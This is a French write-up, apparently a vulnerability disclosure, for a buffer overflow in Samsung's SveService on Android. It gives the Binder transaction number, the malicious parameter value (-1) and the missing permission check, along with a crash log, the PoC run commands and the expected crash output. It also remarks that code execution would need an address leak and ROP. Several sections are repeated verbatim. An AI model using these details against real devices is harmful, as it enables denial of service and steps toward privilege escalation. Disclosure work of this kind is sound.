
PoC minimal d'un dépassement de tampon du service SveService de Samsung, démontrant une écriture hors limites via Binder pour faire planter le service système Android sans permissions spéciales.
[]
[
]
Samsung SMR mai 2026
SVE-2026-0478(CVE-2026-21018)
Versions concernées : Android 14, 15, 16
Statut de divulgation : divulgation privée
Une écriture hors limites dans SveService antérieure à SMR May-2026 Release 1 permet à des attaquants locaux privilégiés d'exécuter du code arbitraire.
Le correctif ajoute une validation appropriée des entrées.
Vulnérabilité de dépassement de tampon dans le service système SveService (com.sec.sve) sur les appareils Samsung fonctionnant sous Android 16. Le service s'exécute en tant que system (UID 1000) et est accessible sans aucune permission spéciale via Binder.
| Composant | Rôle | Version |
|---|---|---|
sveservice.apk | Service Android | API 36 |
libsvejni.so | Bibliothèque native ARM64 | Build ID : 0a71afa45f8688b4314ed8e5a0aea8b9 |
Dans sveJNISVE_SetCodecInfo (libsvejni.so:0x21710), les paramètres i18, i19, i20 (reçus depuis AIDL sous les noms i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) sont transmis directement à memset, sub sp, sp, xN (alloca) et memcpy sans aucune validation de taille.
Des fonctions similaires (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) effectuent une validation avec cmp w20, #0x1e; b.gt (rejet des valeurs > 30 octets). SetCodecInfo ne valide rien du tout.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
#00 __memset_aarch64+160 libc.so
#01 sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)
x2 00000000ffffffff ← memset count = 4GB
x24 00000000ffffffff ← i18 = -1
sp 000000707f5f7610 ← SP in invalid region
x29 000000717f5f7710 ← original frame pointer
cd poc
./build_and_run.sh
Sortie attendue :
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() via app_process fonctionne avec l'UID shell.signatureOrSystem n'est PAS appliquée — le service est enregistré directement via ServiceManager.addService(), contournant le mécanisme de permission d'Android.memset avec 0xFFFFFFFF plante toujours. Une RCE nécessiterait une fuite d'adresse + un ROP (PAC absent sur le SM-A175F).Vulnérabilité de dépassement de tampon dans le service système SveService (com.sec.sve) sur les appareils Samsung sous Android 16. Le service s'exécute en tant que system (UID 1000) et est accessible sans aucune permission spéciale via Binder.
| Composant | Rôle | Version |
|---|---|---|
sveservice.apk | Service Android | API 36 |
libsvejni.so | Bibliothèque native ARM64 | Build ID : 0a71afa45f8688b4314ed8e5a0aea8b9 |
Dans la fonction sveJNISVE_SetCodecInfo (libsvejni.so:0x21710), les paramètres i18, i19, i20 (reçus depuis AIDL sous les noms i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) sont utilisés directement comme arguments de memset, sub sp, sp, xN (alloca) et memcpy sans aucune validation de taille.
D'autres fonctions similaires (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) valident avec cmp w20, #0x1e; b.gt (rejet des valeurs > 30 octets). SetCodecInfo ne valide rien.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)cd poc
./build_and_run.sh
Sortie attendue :
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() via app_process fonctionne avec l'UID shell.signatureOrSystem n'est PAS appliquée — le service est enregistré directement via ServiceManager.addService(), contournant le contrôle de permission.memset avec 0xFFFFFFFF plante toujours. Une RCE nécessiterait une fuite d'adresse + un ROP (PAC absent sur le SM-A175F).| Opération | Valeur | Effet |
|---|
(i18 + 15) & ~15 | 0 | Alloue 0 octet |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | Tente de mettre à zéro 4 Go → SIGSEGV |
sxtw(i18) pour memcpy | 0xFFFFFFFFFFFFFFFF | Extension de signe de -1 → ~18 exaoctets |
| Opération | Valeur | Effet |
|---|
(i18 + 15) & ~15 | 0 | Alloue 0 octet |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | Tente de mettre à zéro 4 Go → SIGSEGV |
sxtw(i18) pour memcpy | 0xFFFFFFFFFFFFFFFF | Extension de signe de -1 → ~18 exaoctets |